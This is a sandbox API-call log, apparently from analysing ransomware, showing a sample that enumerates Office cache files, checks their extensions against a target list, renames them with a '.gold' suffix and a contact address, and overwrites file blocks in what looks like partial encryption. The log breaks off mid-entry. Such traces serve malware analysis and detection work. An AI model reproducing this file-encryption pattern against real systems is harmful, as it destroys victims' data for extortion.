(lpString=".zip") returned 4 [0042.795] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString=".rar") returned 4 [0042.795] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString=".bz2") returned 4 [0042.795] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.795] lstrlenW (lpString=".7z") returned 3 [0042.795] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.795] lstrlenW (lpString=".dbf") returned 4 [0042.795] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.795] lstrlenW (lpString=".1cd") returned 4 [0042.795] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.795] lstrlenW (lpString=".jpg") returned 4 [0042.795] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.795] lstrlenW (lpString=".doc") returned 4 [0042.795] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString=".docx") returned 5 [0042.795] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0042.795] lstrlenW (lpString=".pdf") returned 4 [0042.795] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString=".xls") returned 4 [0042.795] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString=".xlsx") returned 5 [0042.795] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0042.795] lstrlenW (lpString=".ppt") returned 4 [0042.795] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.795] lstrlenW (lpString=".zip") returned 4 [0042.795] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString=".rar") returned 4 [0042.795] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.796] lstrlenW (lpString=".bz2") returned 4 [0042.796] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.796] lstrlenW (lpString=".7z") returned 3 [0042.796] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.796] lstrlenW (lpString=".dbf") returned 4 [0042.796] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.796] lstrlenW (lpString=".1cd") returned 4 [0042.796] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.796] lstrlenW (lpString=".jpg") returned 4 [0042.796] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.796] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0042.796] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0042.796] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.796] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=3702272) returned 1 [0042.796] CloseHandle (hObject=0x200) returned 1 [0042.796] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0042.796] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.796] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0042.797] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.797] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0042.797] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0043.002] ReadFile (in: hFile=0x200, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.012] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0043.012] ReadFile (in: hFile=0x200, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.019] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.019] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0043.019] ReadFile (in: hFile=0x200, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.036] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0043.036] WriteFile (in: hFile=0x200, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0043.051] SetEndOfFile (hFile=0x200) returned 1 [0043.051] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3fec018 [0043.053] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0043.053] WriteFile (in: hFile=0x200, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.054] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0043.054] WriteFile (in: hFile=0x200, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.057] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0043.057] WriteFile (in: hFile=0x200, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.058] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3fec018 | out: hHeap=0x880000) returned 1 [0043.058] CloseHandle (hObject=0x200) returned 1 [0043.059] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.059] lstrlenW (lpString=".doc") returned 4 [0043.059] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.059] lstrlenW (lpString=".docx") returned 5 [0043.059] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.059] lstrlenW (lpString=".pdf") returned 4 [0043.059] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.059] lstrlenW (lpString=".xls") returned 4 [0043.059] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.059] lstrlenW (lpString=".xlsx") returned 5 [0043.059] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.059] lstrlenW (lpString=".ppt") returned 4 [0043.059] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.059] lstrlenW (lpString=".zip") returned 4 [0043.059] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.059] lstrlenW (lpString=".rar") returned 4 [0043.059] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.059] lstrlenW (lpString=".bz2") returned 4 [0043.059] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.059] lstrlenW (lpString=".7z") returned 3 [0043.059] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.059] lstrlenW (lpString=".dbf") returned 4 [0043.059] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.059] lstrlenW (lpString=".1cd") returned 4 [0043.059] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.059] lstrlenW (lpString=".jpg") returned 4 [0043.059] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.060] lstrlenW (lpString=".doc") returned 4 [0043.060] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.060] lstrlenW (lpString=".docx") returned 5 [0043.060] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.060] lstrlenW (lpString=".pdf") returned 4 [0043.060] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.060] lstrlenW (lpString=".xls") returned 4 [0043.060] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.060] lstrlenW (lpString=".xlsx") returned 5 [0043.060] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.060] lstrlenW (lpString=".ppt") returned 4 [0043.060] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.060] lstrlenW (lpString=".zip") returned 4 [0043.060] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.060] lstrlenW (lpString=".rar") returned 4 [0043.060] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.060] lstrlenW (lpString=".bz2") returned 4 [0043.060] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.060] lstrlenW (lpString=".7z") returned 3 [0043.060] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.060] lstrlenW (lpString=".dbf") returned 4 [0043.060] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.060] lstrlenW (lpString=".1cd") returned 4 [0043.060] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0043.060] lstrlenW (lpString=".jpg") returned 4 [0043.060] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.060] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0043.060] lstrlenW (lpString="AccLR.cab") returned 9 [0043.060] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.061] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=28016276) returned 1 [0043.061] CloseHandle (hObject=0x200) returned 1 [0043.061] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0043.061] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.061] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0043.061] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.061] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0043.061] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0043.061] ReadFile (in: hFile=0x200, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.333] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0043.333] ReadFile (in: hFile=0x200, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.340] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.340] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0043.340] ReadFile (in: hFile=0x200, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.356] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0043.356] WriteFile (in: hFile=0x200, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0043.369] SetEndOfFile (hFile=0x200) returned 1 [0043.369] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3fec018 [0043.372] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0043.372] WriteFile (in: hFile=0x200, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.373] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0043.373] WriteFile (in: hFile=0x200, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.565] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0043.565] WriteFile (in: hFile=0x200, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.640] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3fec018 | out: hHeap=0x880000) returned 1 [0043.642] CloseHandle (hObject=0x200) returned 1 [0043.642] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.642] lstrlenW (lpString=".doc") returned 4 [0043.642] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.642] lstrlenW (lpString=".docx") returned 5 [0043.642] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.642] lstrlenW (lpString=".pdf") returned 4 [0043.642] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.642] lstrlenW (lpString=".xls") returned 4 [0043.642] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.642] lstrlenW (lpString=".xlsx") returned 5 [0043.643] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.643] lstrlenW (lpString=".ppt") returned 4 [0043.643] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.643] lstrlenW (lpString=".zip") returned 4 [0043.643] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString=".rar") returned 4 [0043.643] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString=".bz2") returned 4 [0043.643] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.643] lstrlenW (lpString=".7z") returned 3 [0043.643] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.643] lstrlenW (lpString=".dbf") returned 4 [0043.643] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.643] lstrlenW (lpString=".1cd") returned 4 [0043.643] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.643] lstrlenW (lpString=".jpg") returned 4 [0043.643] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.643] lstrlenW (lpString=".doc") returned 4 [0043.643] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString=".docx") returned 5 [0043.643] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.643] lstrlenW (lpString=".pdf") returned 4 [0043.643] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString=".xls") returned 4 [0043.643] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString=".xlsx") returned 5 [0043.643] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.643] lstrlenW (lpString=".ppt") returned 4 [0043.643] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.643] lstrlenW (lpString=".zip") returned 4 [0043.643] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString=".rar") returned 4 [0043.643] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString=".bz2") returned 4 [0043.643] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.643] lstrlenW (lpString=".7z") returned 3 [0043.643] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.643] lstrlenW (lpString=".dbf") returned 4 [0043.643] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.643] lstrlenW (lpString=".1cd") returned 4 [0043.643] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0043.643] lstrlenW (lpString=".jpg") returned 4 [0043.643] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.644] lstrcmpiW (lpString1=".xrm-ms", lpString2=".gold") returned 1 [0043.644] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0043.644] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.644] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=715834) returned 1 [0043.644] CloseHandle (hObject=0x200) returned 1 [0043.644] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0043.644] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all 